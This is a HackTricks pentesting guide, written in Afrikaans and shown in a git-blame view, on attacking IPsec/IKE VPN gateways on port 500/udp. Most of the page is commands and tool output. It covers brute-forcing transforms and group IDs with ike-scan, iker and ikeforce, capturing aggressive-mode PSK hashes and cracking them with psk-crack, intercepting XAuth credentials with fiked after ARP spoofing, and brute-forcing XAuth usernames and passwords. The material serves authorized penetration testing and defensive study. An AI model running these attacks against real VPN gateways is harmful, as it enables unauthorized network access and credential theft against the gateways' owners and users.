hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

276 lines
19 KiB
Markdown
Raw Normal View History

# 500/udp - Pentesting IPsec/IKE VPN
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-11 02:07:06 +00:00
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-11 02:07:06 +00:00
## Basiese Inligting
**IPsec** word wyd erken as die belangrikste tegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en vanaf afgeleë gebruikers na die netwerkgateway (afgeleë toegang), en dien as die ruggraat vir ondernemings-VPN-oplossings.
Die vestiging van 'n **sekuriteitsvereniging (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die beskerming van ISAKMP opereer, 'n protokol wat ontwerp is vir die outentisering en sleuteluitruil. Hierdie proses ontvou in verskeie fases:
2024-02-08 21:36:15 +00:00
- **Fase 1:** 'n veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Voorafgedeelde Sleutel (PSK) of sertifikate, wat óf hoofmodus, wat drie pare boodskappe behels, óf **aggressiewe modus** gebruik.
- **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Outentiseringsfase, die identiteit van die gebruiker wat probeer koppel deur 'n gebruikersnaam en wagwoord te vereis.
- **Fase 2:** Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit maak die gebruik van algoritmes moontlik wat verskil van dié in Fase 1 om **Volmaakte Voorwaartse Geheimhouding (PFS)** te verseker, wat die sekuriteit verbeter.
2024-02-11 02:07:06 +00:00
**Verstekpoort:** 500/udp
2024-02-11 02:07:06 +00:00
## **Ontdek** die diens met behulp van nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Die vind van 'n geldige transformasie**
Die IPSec konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **enkripsie algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **verifikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreidings algoritme** en 28800 sekondes as die **lewensduur**.
Dan is die eerste ding wat jy moet doen om 'n **geldige transformasie te vind**, sodat die bediener met jou sal praat. Om dit te doen, kan jy die gereedskap **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus, en stuur 'n pakkie na die poort met 'n ISAKMP kop en 'n enkele voorstel met **agt transformasies daarin**.
Afhanklik van die reaksie kan jy inligting oor die eindpunt verkry:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-11 02:07:06 +00:00
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Soos u in die vorige antwoord kan sien, is daar 'n veld genaamd **AUTH** met die waarde **PSK**. Dit beteken dat die vpn ingestel is met 'n voorgedeelde sleutel (en dit is regtig goed vir 'n pentester).\
2024-02-11 02:07:06 +00:00
**Die waarde van die laaste lyn is ook baie belangrik:**
* _0 teruggekeerde handdruk; 0 teruggekeerde kennisgewing:_ Dit beteken die teiken is **nie 'n IPsec-hek** nie.
* _**1 teruggekeerde handdruk; 0 teruggekeerde kennisgewing:**_ Dit beteken die **teiken is ingestel vir IPsec en is bereid om IKE-onderhandeling uit te voer, en een of meer van die transformasies wat u voorgestel het, is aanvaarbaar** ( 'n geldige transformasie sal in die uitset vertoon word).
* _0 teruggekeerde handdruk; 1 teruggekeerde kennisgewing:_ VPN-hekke reageer met 'n kennisgewing wanneer **geen van die transformasies aanvaarbaar is** (hoewel sommige hekke dit nie doen nie, in watter geval verdere analise en 'n hersiene voorstel geproe moet word).
Dan, in hierdie geval het ons reeds 'n geldige transformasie, maar as u in die 3de geval is, moet u 'n bietjie **brute-force om 'n geldige transformasie te vind:**
2024-02-11 02:07:06 +00:00
Eerstens moet u al die moontlike transformasies skep:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
En dan kragtig elkeen met ike-scan kragtig (dit kan verskeie minute neem):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Indien die brute-force nie werk nie, is dit moontlik dat die bediener selfs sonder handsklakings reageer op geldige transformasies. Dan kan jy dieselfde brute-force probeer, maar met aggressiewe modus:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Hopelik **word 'n geldige transformasie teruggekaats**.\
2024-02-11 02:07:06 +00:00
Jy kan die **selfde aanval** probeer met behulp van [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Jy kan ook probeer om transformasies met geweld te krag met [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
2024-02-11 02:07:06 +00:00
In **DH Groep: 14 = 2048-bit MODP** en **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (in hierdie geval). Die `--trans` formaat is $Enc,$Hash,$Auth,$DH**
Cisco dui aan dat dit beter is om nie DH groepe 1 en 2 te gebruik nie omdat hulle nie sterk genoeg is nie. Kenners glo dat **lande met baie hulpbronne die versleuteling** van data wat hierdie swak groepe gebruik, maklik kan breek. Dit word gedoen deur 'n spesiale metode te gebruik wat hulle voorberei om die kodes vinnig te kraak. Selfs al kos dit baie geld om hierdie metode op te stel, maak dit dit vir hierdie magtige lande moontlik om die versleutelde data in werklike tyd te lees as dit 'n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).
### Bediener vingerafdruk
Daarna kan jy ike-scan gebruik om te probeer om die **vervaardiger** van die toestel te **ontdek**. Die instrument stuur 'n aanvanklike voorstel en hou op om te herhaal. Dan sal dit **analiseer** die **tydverskil** **tussen** die ontvangs **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon, die pentester kan suksesvol die VPN-hekgateway-vervaardiger identifiseer. Verder sal sommige VPN-bedieners die opsionele **Vervaardiger ID (VID) lading** met IKE gebruik.
2024-02-11 02:07:06 +00:00
**Spesifiseer die geldige transformasie indien nodig** (deur --trans te gebruik)
As IKE ontdek watter vervaardiger dit is, sal dit dit druk:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-11 02:07:06 +00:00
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
2024-02-11 02:07:06 +00:00
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
2024-02-11 02:07:06 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Dit kan ook bereik word met die nmap-skrip _**ike-version**_
## Vind die korrekte ID (groepnaam)
Om toestemming te kry om die hash vas te vang, het jy 'n geldige transformasie nodig wat Aggressiewe modus ondersteun en die korrekte ID (groepnaam). Jy sal waarskynlik nie die geldige groepnaam weet nie, dus sal jy dit moet kragtig afdwing.\
Om dit te doen, sal ek jou aanbeveel om 2 metodes te gebruik:
### Afdwing van ID met ike-scan
Probeer eerstens 'n versoek maak met 'n vals ID om die hash te versamel ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Indien **geen has teruggekeer word**, sal hierdie metode van brutaal krag dalk werk. **Indien 'n has teruggekeer word, beteken dit dat 'n vals has terug gestuur gaan word vir 'n valse ID, dus sal hierdie metode nie betroubaar wees** om die ID te brutaal krag nie. Byvoorbeeld, 'n vals has kan teruggekeer word (dit gebeur in moderne weergawes):
![](<../.gitbook/assets/image (110).png>)
Maar as soos ek gesê het, geen has teruggekeer word nie, moet jy probeer om algemene groepname te brutaal krag met behulp van ike-scan.
Hierdie skripsie **sal probeer om moontlike ID's te brutaal krag** en sal die ID's teruggee waar 'n geldige handdruk teruggekeer word (dit sal 'n geldige groepnaam wees).
Indien jy 'n spesifieke transformasie ontdek het, voeg dit by in die ike-scan bevel. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepname gebruik om hulle te brutaal krag:
```bash
2021-01-18 14:24:10 +00:00
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Bruteforcing ID with Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepname te brute force. Dit volg sy eie metode om 'n geldige ID te vind gebaseer op die uitset van ike-scan.
### Bruteforcing ID with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n instrument wat ook gebruik kan word om IDs te brute force. Hierdie instrument sal probeer om verskillende kwesbaarhede uit te buit wat gebruik kan word om te onderskei tussen 'n geldige en 'n nie-geldige ID (dit kan valse positiewe en valse negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik as moontlik).
Standaard sal **ikeforce** aan die begin 'n paar lukrake ids stuur om die gedrag van die bediener te toets en die taktiek te bepaal.
* Die **eerste metode** is om die groepname te brute force deur te **soek** vir die inligting **Dead Peer Detection DPD** van Cisco-stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepnaam korrek is).
* Die **tweede beskikbare metode** is om die aantal antwoorde wat na elke poging gestuur word te **kontroleer**, omdat soms meer pakkies gestuur word wanneer die korrekte id gebruik word.
* Die **derde metode** behels om te **soek na "ONGELDIGE-ID-INLIGTING" in reaksie op 'n ongeldige ID**.
* Laastens, as die bediener niks terugstuur na die kontroles nie, sal **ikeforce** probeer om die bediener te brute force en te toets of wanneer die korrekte id gestuur word, die bediener met 'n paar pakkies terugstuur.
Duidelik is die doel van die brute force van die id om die **PSK** te kry wanneer jy 'n geldige id het. Dan, met die **id** en **PSK** sal jy die XAUTH moet brute force (indien dit geaktiveer is).
As jy 'n spesifieke transformasie ontdek het, voeg dit by in die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus by te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
(Van die boek **Netwerk Sekuriteitsevaluering: Ken Jou Netwerk**): Dit is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN-klient en bediener af te luister, aangesien die eerste aggressiewe modus-pakket wat die klient-ID bevat, in die oop gestuur word
![](<../.gitbook/assets/image (111).png>)
## Vang & kraak die has
Laastens, as jy 'n **geldige transformasie** en die **groepnaam** gevind het en as die **aggressiewe modus toegelaat word**, kan jy baie maklik die kraakbare has gryp:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
2024-02-11 02:07:06 +00:00
Die hash sal binne _hash.txt_ gestoor word.
Jy kan **psk-crack**, **john** (deur gebruik te maak van [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) en **hashcat** gebruik om die hash te **kraak**:
2021-01-18 14:26:55 +00:00
```bash
2022-01-12 14:33:12 +00:00
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Aggressiewe modus IKE** gekombineer met 'n **Pre-Shared Key (PSK)** word gewoonlik gebruik vir **groepverifikasie** doeleindes. Hierdie metode word aangevul deur **XAuth (Uitgebreide Verifikasie)**, wat dien om 'n addisionele laag van **gebruikersverifikasie** in te voer. Sulke verifikasie maak tipies gebruik van dienste soos **Microsoft Active Directory**, **RADIUS**, of vergelykbare stelsels.
2024-02-08 21:36:15 +00:00
Met die oorgang na **IKEv2**, word 'n merkbare skuif waargeneem waar **EAP (Uitbreibare Verifikasieprotokol)** gebruik word in plaas van **XAuth** vir die doel van gebruikersverifikasie. Hierdie verandering beklemtoon 'n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle.
2024-02-08 21:36:15 +00:00
2024-02-11 02:07:06 +00:00
### Plaaslike netwerk MitM om geloofsbriewe vas te vang
Sodat jy die data van die aanmelding kan vasvang deur _fiked_ te gebruik en te sien of daar enige verstek gebruikersnaam is (Jy moet IKE-verkeer na `fiked` omskakel vir snuif, wat gedoen kan word met behulp van ARP-spoofing, [meer inligting](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked sal optree as 'n VPN-eindpunt en sal die XAuth-geloofsbriewe vasvang:
2021-01-18 14:26:55 +00:00
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Brute-forcing XAUTH gebruikersnaam en wagwoord met ikeforce
Om **XAUTH** te brute force (wanneer jy 'n geldige groepnaam **id** en die **psk** ken) kan jy 'n gebruikersnaam of 'n lys van gebruikersname en 'n lys van wagwoorde gebruik:
2021-01-18 14:26:55 +00:00
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Hierdie manier, sal ikeforce probeer om te verbind deur elke kombinasie van gebruikersnaam:wagwoord.
As jy een of verskeie geldige transformasies gevind het, gebruik hulle net soos in die vorige stappe.
2024-02-11 02:07:06 +00:00
## Verifikasie met 'n IPSEC VPN
In Kali, word **VPNC** gebruik om IPsec tonnels te vestig. Die **profiele** moet in die gids `/etc/vpnc/` geleë wees. Jy kan hierdie profiele inisieer deur die opdrag _**vpnc**_ te gebruik.
2024-02-05 02:29:11 +00:00
2024-02-11 02:07:06 +00:00
Die volgende opdragte en konfigurasies illustreer die proses om 'n VPN-verbinding met VPNC op te stel:
2024-02-05 02:29:11 +00:00
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
2024-02-05 02:29:11 +00:00
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
2024-02-05 02:29:11 +00:00
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
2024-02-11 02:07:06 +00:00
In hierdie opstelling:
- Vervang `[VPN_GATEWAY_IP]` met die werklike IP-adres van die VPN-hek.
2024-02-11 02:07:06 +00:00
- Vervang `[VPN_CONNECTION_ID]` met die identifiseerder vir die VPN-verbinding.
- Vervang `[VPN_GROUP_SECRET]` met die VPN se groepgeheim.
- Vervang `[VPN_USERNAME]` en `[VPN_PASSWORD]` met die VPN-verifikasie-inligting.
- `[PID]` simboliseer die proses-ID wat toegewys sal word wanneer `vpnc` geïnisieer word.
2024-02-05 02:29:11 +00:00
Maak seker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN geconfigureer word.
2024-02-05 02:29:11 +00:00
2024-02-11 02:07:06 +00:00
## Verwysingsmateriaal
2024-02-11 02:07:06 +00:00
* [PSK-kraakpapier](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
2024-02-11 02:07:06 +00:00
* [Skandering van 'n VPN-implementering](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Netwerksekuriteitsassessering 3de Uitgawe
## Shodan
2020-10-05 13:59:40 +00:00
* `port:500 IKE`
2022-04-28 16:01:33 +00:00
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
2022-04-28 16:01:33 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-03 10:42:55 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
2024-02-11 02:07:06 +00:00
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
</details>